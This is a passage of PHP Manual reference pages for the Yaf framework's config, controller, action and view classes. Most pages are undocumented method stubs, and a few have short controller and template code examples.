(Yaf >=1.0.0)

Yaf_Config_Simple::__construct — The __construct purpose

Description

public Yaf_Config_Simple::__construct ( string $config_file [, string $section ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

config_file

section

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The count purpose

  • « Yaf_Config_Simple::__construct
  • Yaf_Config_Simple::current »
  • PHP Manual
  • Yaf_Config_Simple
  • The count purpose

Yaf_Config_Simple::count

(Yaf >=1.0.0)

Yaf_Config_Simple::count — The count purpose

Description

public void Yaf_Config_Simple::count ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The current purpose

  • « Yaf_Config_Simple::count
  • Yaf_Config_Simple::__get »
  • PHP Manual
  • Yaf_Config_Simple
  • The current purpose

Yaf_Config_Simple::current

(Yaf >=1.0.0)

Yaf_Config_Simple::current — The current purpose

Description

public void Yaf_Config_Simple::current ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The __get purpose

  • « Yaf_Config_Simple::current
  • Yaf_Config_Simple::__isset »
  • PHP Manual
  • Yaf_Config_Simple
  • The __get purpose

Yaf_Config_Simple::__get

(Yaf >=1.0.0)

Yaf_Config_Simple::__get — The __get purpose

Description

public void Yaf_Config_Simple::__get ([ string $name ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The __isset purpose

  • « Yaf_Config_Simple::__get
  • Yaf_Config_Simple::key »
  • PHP Manual
  • Yaf_Config_Simple
  • The __isset purpose

Yaf_Config_Simple::__isset

(Yaf >=1.0.0)

Yaf_Config_Simple::__isset — The __isset purpose

Description

public void Yaf_Config_Simple::__isset ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The key purpose

  • « Yaf_Config_Simple::__isset
  • Yaf_Config_Simple::next »
  • PHP Manual
  • Yaf_Config_Simple
  • The key purpose

Yaf_Config_Simple::key

(Yaf >=1.0.0)

Yaf_Config_Simple::key — The key purpose

Description

public void Yaf_Config_Simple::key ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The next purpose

  • « Yaf_Config_Simple::key
  • Yaf_Config_Simple::offsetExists »
  • PHP Manual
  • Yaf_Config_Simple
  • The next purpose

Yaf_Config_Simple::next

(Yaf >=1.0.0)

Yaf_Config_Simple::next — The next purpose

Description

public void Yaf_Config_Simple::next ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The offsetExists purpose

  • « Yaf_Config_Simple::next
  • Yaf_Config_Simple::offsetGet »
  • PHP Manual
  • Yaf_Config_Simple
  • The offsetExists purpose

Yaf_Config_Simple::offsetExists

(Yaf >=1.0.0)

Yaf_Config_Simple::offsetExists — The offsetExists purpose

Description

public void Yaf_Config_Simple::offsetExists ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The offsetGet purpose

  • « Yaf_Config_Simple::offsetExists
  • Yaf_Config_Simple::offsetSet »
  • PHP Manual
  • Yaf_Config_Simple
  • The offsetGet purpose

Yaf_Config_Simple::offsetGet

(Yaf >=1.0.0)

Yaf_Config_Simple::offsetGet — The offsetGet purpose

Description

public void Yaf_Config_Simple::offsetGet ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The offsetSet purpose

  • « Yaf_Config_Simple::offsetGet
  • Yaf_Config_Simple::offsetUnset »
  • PHP Manual
  • Yaf_Config_Simple
  • The offsetSet purpose

Yaf_Config_Simple::offsetSet

(Yaf >=1.0.0)

Yaf_Config_Simple::offsetSet — The offsetSet purpose

Description

public void Yaf_Config_Simple::offsetSet ( string $name , string $value )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

value

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The offsetUnset purpose

  • « Yaf_Config_Simple::offsetSet
  • Yaf_Config_Simple::readonly »
  • PHP Manual
  • Yaf_Config_Simple
  • The offsetUnset purpose

Yaf_Config_Simple::offsetUnset

(Yaf >=1.0.0)

Yaf_Config_Simple::offsetUnset — The offsetUnset purpose

Description

public void Yaf_Config_Simple::offsetUnset ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The readonly purpose

  • « Yaf_Config_Simple::offsetUnset
  • Yaf_Config_Simple::rewind »
  • PHP Manual
  • Yaf_Config_Simple
  • The readonly purpose

Yaf_Config_Simple::readonly

(Yaf >=1.0.0)

Yaf_Config_Simple::readonly — The readonly purpose

Description

public void Yaf_Config_Simple::readonly ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The rewind purpose

  • « Yaf_Config_Simple::readonly
  • Yaf_Config_Simple::__set »
  • PHP Manual
  • Yaf_Config_Simple
  • The rewind purpose

Yaf_Config_Simple::rewind

(Yaf >=1.0.0)

Yaf_Config_Simple::rewind — The rewind purpose

Description

public void Yaf_Config_Simple::rewind ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The __set purpose

  • « Yaf_Config_Simple::rewind
  • Yaf_Config_Simple::toArray »
  • PHP Manual
  • Yaf_Config_Simple
  • The __set purpose

Yaf_Config_Simple::__set

(Yaf >=1.0.0)

Yaf_Config_Simple::__set — The __set purpose

Description

public void Yaf_Config_Simple::__set ( string $name , string $value )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

value

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Returns a PHP array

  • « Yaf_Config_Simple::__set
  • Yaf_Config_Simple::valid »
  • PHP Manual
  • Yaf_Config_Simple
  • Returns a PHP array

Yaf_Config_Simple::toArray

(Yaf >=1.0.0)

Yaf_Config_Simple::toArray — Returns a PHP array

Description

public array Yaf_Config_Simple::toArray ( void )

Returns a PHP array from the Yaf_Config_Simple

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The valid purpose

  • « Yaf_Config_Simple::toArray
  • Yaf_Controller_Abstract »
  • PHP Manual
  • Yaf_Config_Simple
  • The valid purpose

Yaf_Config_Simple::valid

(Yaf >=1.0.0)

Yaf_Config_Simple::valid — The valid purpose

Description

public void Yaf_Config_Simple::valid ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Controller_Abstract class

(Yaf >=1.0.0)

Introduction

Yaf_Controller_Abstract is the heart of Yaf's system. MVC stands for Model-View-Controller and is a design pattern targeted at separating application logic from display logic.

Every custom controller shall inherit Yaf_Controller_Abstract.

You will find that you can not define __construct function for your custom controller, thus, Yaf_Controller_Abstract provides a magic method: Yaf_Controller_Abstract::init().

If you have defined a init() method in your custom controller, it will be called as long as the controller was instantiated.

Action may have arguments, when a request coming, if there are the same name variable in the request parameters(see Yaf_Request_Abstract::getParam()) after routed, Yaf will pass them to the action method (see Yaf_Action_Abstract::execute()).

Note:

These arguments are directly fetched without filtering, it should be carefully processed before use them.

Class synopsis

abstract Yaf_Controller_Abstract {
/* Properties */
public $actions ;
protected $_module ;
protected $_name ;
protected $_request ;
protected $_response ;
protected $_invoke_args ;
protected $_view ;
/* Methods */
final private void __clone ( void )
final private __construct ( void )
protected bool display ( string $tpl [, array $parameters ] )
public void forward ( string $action [, array $paramters ] )
public void getInvokeArg ( string $name )
public void getInvokeArgs ( void )
public string getModuleName ( void )
public Yaf_Request_Abstract getRequest ( void )
public Yaf_Response_Abstract getResponse ( void )
public Yaf_View_Interface getView ( void )
public void getViewpath ( void )
public void init ( void )
public void initView ([ array $options ] )
public bool redirect ( string $url )
protected string render ( string $tpl [, array $parameters ] )
public void setViewpath ( string $view_directory )
}

Properties

actions

You can also define a action method in a separate PHP script by using this property and Yaf_Action_Abstract.

Example #1 define action in a separate file

<?php
class IndexController extends Yaf_Controller_Abstract {
    protected $actions = array(
        /** now dummyAction is defined in a separate file */
        "dummy" => "actions/Dummy_action.php",
    );

    /* action method may have arguments */
    public indexAction($name, $id) {
       /* $name and $id are unsafe raw data */
       assert($name == $this->getRequest()->getParam("name"));
       assert($id   == $this->_request->getParam("id"));
    }
}
?>

Example #2 Dummy_action.php

<?php
class DummyAction extends Yaf_Action_Abstract {
    /* a action class shall define this method  as the entry point */
    public execute() {
    }
}
?>

_module

module name

_name

controller name

_request

current request object

_response

current response object

_invoke_args

_view

view engine object

Table of Contents

  • Yaf_Controller_Abstract::__clone — Yaf_Controller_Abstract can not be cloned
  • Yaf_Controller_Abstract::__construct — Yaf_Controller_Abstract constructor
  • Yaf_Controller_Abstract::display — The display purpose
  • Yaf_Controller_Abstract::forward — foward to another action
  • Yaf_Controller_Abstract::getInvokeArg — The getInvokeArg purpose
  • Yaf_Controller_Abstract::getInvokeArgs — The getInvokeArgs purpose
  • Yaf_Controller_Abstract::getModuleName — Get module name
  • Yaf_Controller_Abstract::getRequest — Retrieve current request object
  • Yaf_Controller_Abstract::getResponse — Retrieve current response object
  • Yaf_Controller_Abstract::getView — Retrieve the view engine
  • Yaf_Controller_Abstract::getViewpath — The getViewpath purpose
  • Yaf_Controller_Abstract::init — Controller initializer
  • Yaf_Controller_Abstract::initView — The initView purpose
  • Yaf_Controller_Abstract::redirect — Redirect to a URL
  • Yaf_Controller_Abstract::render — Render view template
  • Yaf_Controller_Abstract::setViewpath — The setViewpath purpose

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Controller_Abstract can not be cloned

  • « Yaf_Controller_Abstract
  • Yaf_Controller_Abstract::__construct »
  • PHP Manual
  • Yaf_Controller_Abstract
  • Yaf_Controller_Abstract can not be cloned

Yaf_Controller_Abstract::__clone

(Yaf >=1.0.0)

Yaf_Controller_Abstract::__clone — Yaf_Controller_Abstract can not be cloned

Description

final private void Yaf_Controller_Abstract::__clone ( void )

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Controller_Abstract constructor

  • « Yaf_Controller_Abstract::__clone
  • Yaf_Controller_Abstract::display »
  • PHP Manual
  • Yaf_Controller_Abstract
  • Yaf_Controller_Abstract constructor

Yaf_Controller_Abstract::__construct

(Yaf >=1.0.0)

Yaf_Controller_Abstract::__construct — Yaf_Controller_Abstract constructor

Description

final private Yaf_Controller_Abstract::__construct ( void )

Yaf_Controller_Abstract::__construct() is final, which means it can not be overridden. You may want to see Yaf_Controller_Abstract::init() instead.

Parameters

This function has no parameters.

Return Values

See Also

  • Yaf_Controller_Abstract::init() - Controller initializer

User Contributed Notes

There are no user contributed notes for this page.


The display purpose

  • « Yaf_Controller_Abstract::__construct
  • Yaf_Controller_Abstract::forward »
  • PHP Manual
  • Yaf_Controller_Abstract
  • The display purpose

Yaf_Controller_Abstract::display

(Yaf >=1.0.0)

Yaf_Controller_Abstract::display — The display purpose

Description

protected bool Yaf_Controller_Abstract::display ( string $tpl [, array $parameters ] )

Parameters

tpl

parameters

Return Values

User Contributed Notes

There are no user contributed notes for this page.


foward to another action

  • « Yaf_Controller_Abstract::display
  • Yaf_Controller_Abstract::getInvokeArg »
  • PHP Manual
  • Yaf_Controller_Abstract
  • foward to another action

Yaf_Controller_Abstract::forward

(Yaf >=1.0.0)

Yaf_Controller_Abstract::forward — foward to another action

Description

public void Yaf_Controller_Abstract::forward ( string $action [, array $paramters ] )
public void Yaf_Controller_Abstract::forward ( string $controller , string $action [, array $paramters ] )
public void Yaf_Controller_Abstract::forward ( string $module , string $controller , string $action [, array $paramters ] )

forward current execution process to other action.

Note:

this method doesn't switch to the destination action immediately, it will take place after current flow finish.

Parameters

module

destination module name, if NULL was given, then default module name is assumed

controller

destination controller name

action

destination action name

paramters

calling arguments

Examples

Example #1 Yaf_Controller_Abstract::forward()example

<?php
class IndexController extends Yaf_Controller_Abstract
{
    public function indexAction(){
         $logined = $_SESSION["login"];
         if (!$logined) {
             $this->forward("login", array("from" => "Index")); // forward to login action
             return FALSE;  // this is important, this finish current working flow
                            // and tell the Yaf do not doing auto-render
         }

         // other processes
    }

    public function loginAction() {
         echo "login, redirected from ", $this->_request->getParam("from") , " action";
    }
}
?>

The above example will output something similar to:

   login, redirected from Index action

Return Values

return FALSE on failure

See Also

  • Yaf_Request_Abstrace::getParam()

User Contributed Notes

There are no user contributed notes for this page.


The getInvokeArg purpose

  • « Yaf_Controller_Abstract::forward
  • Yaf_Controller_Abstract::getInvokeArgs »
  • PHP Manual
  • Yaf_Controller_Abstract
  • The getInvokeArg purpose

Yaf_Controller_Abstract::getInvokeArg

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getInvokeArg — The getInvokeArg purpose

Description

public void Yaf_Controller_Abstract::getInvokeArg ( string $name )

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The getInvokeArgs purpose

  • « Yaf_Controller_Abstract::getInvokeArg
  • Yaf_Controller_Abstract::getModuleName »
  • PHP Manual
  • Yaf_Controller_Abstract
  • The getInvokeArgs purpose

Yaf_Controller_Abstract::getInvokeArgs

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getInvokeArgs — The getInvokeArgs purpose

Description

public void Yaf_Controller_Abstract::getInvokeArgs ( void )

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Get module name

  • « Yaf_Controller_Abstract::getInvokeArgs
  • Yaf_Controller_Abstract::getRequest »
  • PHP Manual
  • Yaf_Controller_Abstract
  • Get module name

Yaf_Controller_Abstract::getModuleName

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getModuleName — Get module name

Description

public string Yaf_Controller_Abstract::getModuleName ( void )

get the controller's module name

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Retrieve current request object

  • « Yaf_Controller_Abstract::getModuleName
  • Yaf_Controller_Abstract::getResponse »
  • PHP Manual
  • Yaf_Controller_Abstract
  • Retrieve current request object

Yaf_Controller_Abstract::getRequest

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getRequest — Retrieve current request object

Description

public Yaf_Request_Abstract Yaf_Controller_Abstract::getRequest ( void )

retrieve current request object

Parameters

This function has no parameters.

Return Values

Yaf_Request_Abstract instance

User Contributed Notes

There are no user contributed notes for this page.


Retrieve current response object

  • « Yaf_Controller_Abstract::getRequest
  • Yaf_Controller_Abstract::getView »
  • PHP Manual
  • Yaf_Controller_Abstract
  • Retrieve current response object

Yaf_Controller_Abstract::getResponse

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getResponse — Retrieve current response object

Description

public Yaf_Response_Abstract Yaf_Controller_Abstract::getResponse ( void )

retrieve current response object

Parameters

This function has no parameters.

Return Values

Yaf_Response_Abstract instance

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the view engine

  • « Yaf_Controller_Abstract::getResponse
  • Yaf_Controller_Abstract::getViewpath »
  • PHP Manual
  • Yaf_Controller_Abstract
  • Retrieve the view engine

Yaf_Controller_Abstract::getView

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getView — Retrieve the view engine

Description

public Yaf_View_Interface Yaf_Controller_Abstract::getView ( void )

retrieve view engine

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The getViewpath purpose

  • « Yaf_Controller_Abstract::getView
  • Yaf_Controller_Abstract::init »
  • PHP Manual
  • Yaf_Controller_Abstract
  • The getViewpath purpose

Yaf_Controller_Abstract::getViewpath

(Yaf >=1.0.0)

Yaf_Controller_Abstract::getViewpath — The getViewpath purpose

Description

public void Yaf_Controller_Abstract::getViewpath ( void )

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Controller initializer

  • « Yaf_Controller_Abstract::getViewpath
  • Yaf_Controller_Abstract::initView »
  • PHP Manual
  • Yaf_Controller_Abstract
  • Controller initializer

Yaf_Controller_Abstract::init

(Yaf >=1.0.0)

Yaf_Controller_Abstract::init — Controller initializer

Description

public void Yaf_Controller_Abstract::init ( void )

Yaf_Controller_Abstract::__construct() is final, which means users can not override it. but users can define Yaf_Controller_Abstract::init(), which will be called after controller object is instantiated.

Parameters

This function has no parameters.

Return Values

See Also

  • Yaf_Controller_Abstract::__construct() - Yaf_Controller_Abstract constructor

User Contributed Notes

There are no user contributed notes for this page.


The initView purpose

  • « Yaf_Controller_Abstract::init
  • Yaf_Controller_Abstract::redirect »
  • PHP Manual
  • Yaf_Controller_Abstract
  • The initView purpose

Yaf_Controller_Abstract::initView

(Yaf >=1.0.0)

Yaf_Controller_Abstract::initView — The initView purpose

Description

public void Yaf_Controller_Abstract::initView ([ array $options ] )

Parameters

options

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Redirect to a URL

  • « Yaf_Controller_Abstract::initView
  • Yaf_Controller_Abstract::render »
  • PHP Manual
  • Yaf_Controller_Abstract
  • Redirect to a URL

Yaf_Controller_Abstract::redirect

(Yaf >=1.0.0)

Yaf_Controller_Abstract::redirect — Redirect to a URL

Description

public bool Yaf_Controller_Abstract::redirect ( string $url )

redirect to a URL by sending a 302 header

Parameters

url

a location URL

Return Values

bool

User Contributed Notes

There are no user contributed notes for this page.


Render view template

  • « Yaf_Controller_Abstract::redirect
  • Yaf_Controller_Abstract::setViewpath »
  • PHP Manual
  • Yaf_Controller_Abstract
  • Render view template

Yaf_Controller_Abstract::render

(Yaf >=1.0.0)

Yaf_Controller_Abstract::render — Render view template

Description

protected string Yaf_Controller_Abstract::render ( string $tpl [, array $parameters ] )

Parameters

tpl

parameters

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The setViewpath purpose

  • « Yaf_Controller_Abstract::render
  • Yaf_Action_Abstract »
  • PHP Manual
  • Yaf_Controller_Abstract
  • The setViewpath purpose

Yaf_Controller_Abstract::setViewpath

(Yaf >=1.0.0)

Yaf_Controller_Abstract::setViewpath — The setViewpath purpose

Description

public void Yaf_Controller_Abstract::setViewpath ( string $view_directory )

Parameters

view_directory

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_Action_Abstract class

(Yaf >=1.0.0)

Introduction

A action can be defined in a separate file in Yaf(see Yaf_Controller_Abstract). that is a action method can also be a Yaf_Action_Abstract class.

Since there should be a entry point which can be called by Yaf (as of PHP 5.3, there is a new magic method __invoke, but Yaf is not only works with PHP 5.3+, Yaf choose another magic method execute), you must implement the abstract method Yaf_Action_Abstract::execute() in your custom action class.

Class synopsis

Yaf_Action_Abstract extends Yaf_Controller_Abstract {
/* Properties */
protected $_controller ;
/* Methods */
abstract publicmixed execute ([ mixed $arg [, mixed $... ]] )
publicYaf_Controller_Abstract getController ( void )
/* Inherited methods */
final private void Yaf_Controller_Abstract::__clone ( void )
final private Yaf_Controller_Abstract::__construct ( void )
protected bool Yaf_Controller_Abstract::display ( string $tpl [, array $parameters ] )
public void Yaf_Controller_Abstract::forward ( string $action [, array $paramters ] )
public void Yaf_Controller_Abstract::getInvokeArg ( string $name )
public void Yaf_Controller_Abstract::getInvokeArgs ( void )
public string Yaf_Controller_Abstract::getModuleName ( void )
public Yaf_Request_Abstract Yaf_Controller_Abstract::getRequest ( void )
public Yaf_Response_Abstract Yaf_Controller_Abstract::getResponse ( void )
public Yaf_View_Interface Yaf_Controller_Abstract::getView ( void )
public void Yaf_Controller_Abstract::getViewpath ( void )
public void Yaf_Controller_Abstract::init ( void )
public void Yaf_Controller_Abstract::initView ([ array $options ] )
public bool Yaf_Controller_Abstract::redirect ( string $url )
protected string Yaf_Controller_Abstract::render ( string $tpl [, array $parameters ] )
public void Yaf_Controller_Abstract::setViewpath ( string $view_directory )
}

Properties

_module

_name

_request

_response

_invoke_args

_view

_controller

Table of Contents

  • Yaf_Action_Abstract::execute — Action entry point
  • Yaf_Action_Abstract::getController — Retrieve controller object

User Contributed Notes

There are no user contributed notes for this page.


Action entry point

  • « Yaf_Action_Abstract
  • Yaf_Action_Abstract::getController »
  • PHP Manual
  • Yaf_Action_Abstract
  • Action entry point

Yaf_Action_Abstract::execute

(Yaf >=1.0.0)

Yaf_Action_Abstract::execute — Action entry point

Description

abstract publicmixed Yaf_Action_Abstract::execute ([ mixed $arg [, mixed $... ]] )

user should always define this method for a action, this is the entry point of an action. Yaf_Action_Abstract::execute() may have agruments.

Note:

The value retrived from the request is not safe. you should do some filtering work before you use it.

Parameters

This function has no parameters.

Return Values

Examples

Example #1 Yaf_Action_Abstract::execute()example

<?php
/**
 * A controller example
 */
class ProductController extends Yaf_Controller_Abstract {
      protected $actions = array(
          "index" => "actions/Index.php",
      );
}
?>

Example #2 Yaf_Action_Abstract::execute()example

<?php
/**
 * ListAction
 */
class ListAction extends Yaf_Action_Abstract {
     public function execute ($name, $id) {
         assert($name == $this->getRequest()->getParam("name"));
         assert($id   == $this->getRequest()->getParam("id"));
     }
}
?>

The above example will output something similar to:

/**
 * Now assuming we are using the Yaf_Route_Static route
 * for request: http://yourdomain/product/list/name/yaf/id/22
 * will result:
 */
 bool(true)
 bool(true)

See Also

User Contributed Notes

There are no user contributed notes for this page.


Retrieve controller object

  • « Yaf_Action_Abstract::execute
  • Yaf_View_Interface »
  • PHP Manual
  • Yaf_Action_Abstract
  • Retrieve controller object

Yaf_Action_Abstract::getController

(Yaf >=1.0.0)

Yaf_Action_Abstract::getController — Retrieve controller object

Description

publicYaf_Controller_Abstract Yaf_Action_Abstract::getController ( void )

retrieve current controller object.

Parameters

This function has no parameters.

Return Values

Yaf_Controller_Abstract instance

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_View_Interface class

(Yaf >=1.0.0)

Introduction

Yaf provides a ability for developers to use coustom view engine instead of build-in engine which is Yaf_View_Simple. There is a example to explain how to do this, please see Yaf_Dispatcher::setView().

Class synopsis

Yaf_View_Interface {
/* Methods */
abstract public bool assign ( string $name [, string $value ] )
abstract public bool display ( string $tpl [, array $tpl_vars ] )
abstract public void getScriptPath ( void )
abstract public string render ( string $tpl [, array $tpl_vars ] )
abstract public void setScriptPath ( string $template_dir )
}

Table of Contents

  • Yaf_View_Interface::assign — Assign value to View engine
  • Yaf_View_Interface::display — Render and output a template
  • Yaf_View_Interface::getScriptPath — The getScriptPath purpose
  • Yaf_View_Interface::render — Render a template
  • Yaf_View_Interface::setScriptPath — The setScriptPath purpose

User Contributed Notes

There are no user contributed notes for this page.


Assign value to View engine

  • « Yaf_View_Interface
  • Yaf_View_Interface::display »
  • PHP Manual
  • Yaf_View_Interface
  • Assign value to View engine

Yaf_View_Interface::assign

(Yaf >=1.0.0)

Yaf_View_Interface::assign — Assign value to View engine

Description

abstract public bool Yaf_View_Interface::assign ( string $name [, string $value ] )

Assigan values to View engine, then the value can access directly by name in template.

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

value

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Render and output a template

  • « Yaf_View_Interface::assign
  • Yaf_View_Interface::getScriptPath »
  • PHP Manual
  • Yaf_View_Interface
  • Render and output a template

Yaf_View_Interface::display

(Yaf >=1.0.0)

Yaf_View_Interface::display — Render and output a template

Description

abstract public bool Yaf_View_Interface::display ( string $tpl [, array $tpl_vars ] )

Render a template and output the result immediatly.

Warning

This function is currently not documented; only its argument list is available.

Parameters

tpl

tpl_vars

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The getScriptPath purpose

  • « Yaf_View_Interface::display
  • Yaf_View_Interface::render »
  • PHP Manual
  • Yaf_View_Interface
  • The getScriptPath purpose

Yaf_View_Interface::getScriptPath

(Yaf >=1.0.0)

Yaf_View_Interface::getScriptPath — The getScriptPath purpose

Description

abstract public void Yaf_View_Interface::getScriptPath ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Render a template

  • « Yaf_View_Interface::getScriptPath
  • Yaf_View_Interface::setScriptPath »
  • PHP Manual
  • Yaf_View_Interface
  • Render a template

Yaf_View_Interface::render

(Yaf >=1.0.0)

Yaf_View_Interface::render — Render a template

Description

abstract public string Yaf_View_Interface::render ( string $tpl [, array $tpl_vars ] )

Render a template and return the result.

Warning

This function is currently not documented; only its argument list is available.

Parameters

tpl

tpl_vars

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The setScriptPath purpose

  • « Yaf_View_Interface::render
  • Yaf_View_Simple »
  • PHP Manual
  • Yaf_View_Interface
  • The setScriptPath purpose

Yaf_View_Interface::setScriptPath

(Yaf >=1.0.0)

Yaf_View_Interface::setScriptPath — The setScriptPath purpose

Description

abstract public void Yaf_View_Interface::setScriptPath ( string $template_dir )

Set the templates base directory, this is usually called by Yaf_Dispatcher

Warning

This function is currently not documented; only its argument list is available.

Parameters

template_dir

A absolute path to the template directory, by default, Yaf_Dispatcher use application.directory . "/views" as this paramter.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The Yaf_View_Simple class

(Yaf >=1.0.0)

Introduction

Yaf_View_Simple is the built-in template engine in Yaf, it is a simple but fast template engine, and only support PHP script template.

Class synopsis

Yaf_View_Simple implements Yaf_View_Interface {
/* Properties */
protected $_tpl_vars ;
protected $_tpl_dir ;
/* Methods */
public bool assign ( string $name [, mixed $value ] )
public bool assignRef ( string $name , mixed &$value )
public bool clear ([ string $name ] )
final public __construct ( string $tempalte_dir [, array $options ] )
public bool display ( string $tpl [, array $tpl_vars ] )
public string eval ( string $tpl_content [, array $tpl_vars ] )
public void __get ([ string $name ] )
public string getScriptPath ( void )
public void __isset ( string $name )
public string render ( string $tpl [, array $tpl_vars ] )
public void __set ( string $name , mixed $value )
public bool setScriptPath ( string $template_dir )
}

Properties

_tpl_vars

_tpl_dir

Table of Contents

  • Yaf_View_Simple::assign — Assign values
  • Yaf_View_Simple::assignRef — The assignRef purpose
  • Yaf_View_Simple::clear — Clear Assigned values
  • Yaf_View_Simple::__construct — Constructor of Yaf_View_Simple
  • Yaf_View_Simple::display — Render and display
  • Yaf_View_Simple::eval — Render template
  • Yaf_View_Simple::__get — Retrieve assigned variable
  • Yaf_View_Simple::getScriptPath — Get templates directory
  • Yaf_View_Simple::__isset — The __isset purpose
  • Yaf_View_Simple::render — Render template
  • Yaf_View_Simple::__set — Set value to engine
  • Yaf_View_Simple::setScriptPath — Set tempaltes directory

User Contributed Notes

There are no user contributed notes for this page.


Assign values

  • « Yaf_View_Simple
  • Yaf_View_Simple::assignRef »
  • PHP Manual
  • Yaf_View_Simple
  • Assign values

Yaf_View_Simple::assign

(Yaf >=1.0.0)

Yaf_View_Simple::assign — Assign values

Description

public bool Yaf_View_Simple::assign ( string $name [, mixed $value ] )

assign variable to view engine

Parameters

name

A string or an array.

if is string, then the next argument $value is required.

value

mixed value

Return Values

Examples

Example #1 Yaf_View_Simple::assign()example

<?php
class IndexController extends Yaf_Controller_Abstract {
    public function indexAction() {
        $this->getView()->assign("foo", "bar");
        $this->_view->assign( array( "key" => "value", "name" => "value"));
    }
?>

Example #2 template()example

<html>
 <head>
  <title><?php echo $foo; ?></title>
 </head>
<body>
  <?php
    foreach ($this->_tpl_vars as $name => value) {
         echo $$name; // or echo $this->_tpl_vars[$name];
    }
  ?>
</body>
</html>

See Also

  • Yaf_View_Simple::assignRef() - The assignRef purpose
  • Yaf_View_Interface::clear()
  • Yaf_View_Simple::__set() - Set value to engine

User Contributed Notes

There are no user contributed notes for this page.


The assignRef purpose

  • « Yaf_View_Simple::assign
  • Yaf_View_Simple::clear »
  • PHP Manual
  • Yaf_View_Simple
  • The assignRef purpose

Yaf_View_Simple::assignRef

(Yaf >=1.0.0)

Yaf_View_Simple::assignRef — The assignRef purpose

Description

public bool Yaf_View_Simple::assignRef ( string $name , mixed &$value )

unlike Yaf_View_Simple::assign(), this method assign a ref value to engine.

Parameters

name

A string name which will be used to access the value in the tempalte.

value

mixed value

Return Values

Examples

Example #1 Yaf_View_Simple::assignRef()example

<?php
class IndexController extends Yaf_Controller_Abstract {
    public function indexAction() {
        $value = "bar";
        $this->getView()->assign("foo", $value);

        /* plz note that there was a bug before Yaf 2.1.4,
         * which make following output "bar";
         */
        $dummy = $this->getView()->render("index/index.phtml");
        echo $value;

        //prevent the auto-render
        Yaf_Dispatcher::getInstance()->autoRender(FALSE);
    }
?>

Example #2 template()example

<html>
 <head>
  <title><?php echo $foo;  $foo = "changed"; ?></title>
 </head>
<body>
</body>
</html>

The above example will output something similar to:

/* access the index controller will result: */
changed

See Also

  • Yaf_View_Simple::assign() - Assign values
  • Yaf_View_Simple::__set() - Set value to engine

User Contributed Notes

There are no user contributed notes for this page.


Clear Assigned values

  • « Yaf_View_Simple::assignRef
  • Yaf_View_Simple::__construct »
  • PHP Manual
  • Yaf_View_Simple
  • Clear Assigned values

Yaf_View_Simple::clear

(Yaf >=2.2.0)

Yaf_View_Simple::clear — Clear Assigned values

Description

public bool Yaf_View_Simple::clear ([ string $name ] )

clear assigned variable

Parameters

name

assigned variable name

if empty, will clear all assigned variables

Return Values

Examples

Example #1 Yaf_View_Simple::clear()example

<?php
class IndexController extends Yaf_Controller_Abstract {
    public function indexAction() {
        $this->getView()->clear("foo")->clear("bar"); // clear "foo" and "bar"
        $this->_view->clear(); //clear all assigned variables
    }
?>

See Also

  • Yaf_View_Simple::assignRef() - The assignRef purpose
  • Yaf_View_Interface::assign() - Assign value to View engine
  • Yaf_View_Simple::__set() - Set value to engine

User Contributed Notes

There are no user contributed notes for this page.


Constructor of Yaf_View_Simple

  • « Yaf_View_Simple::clear
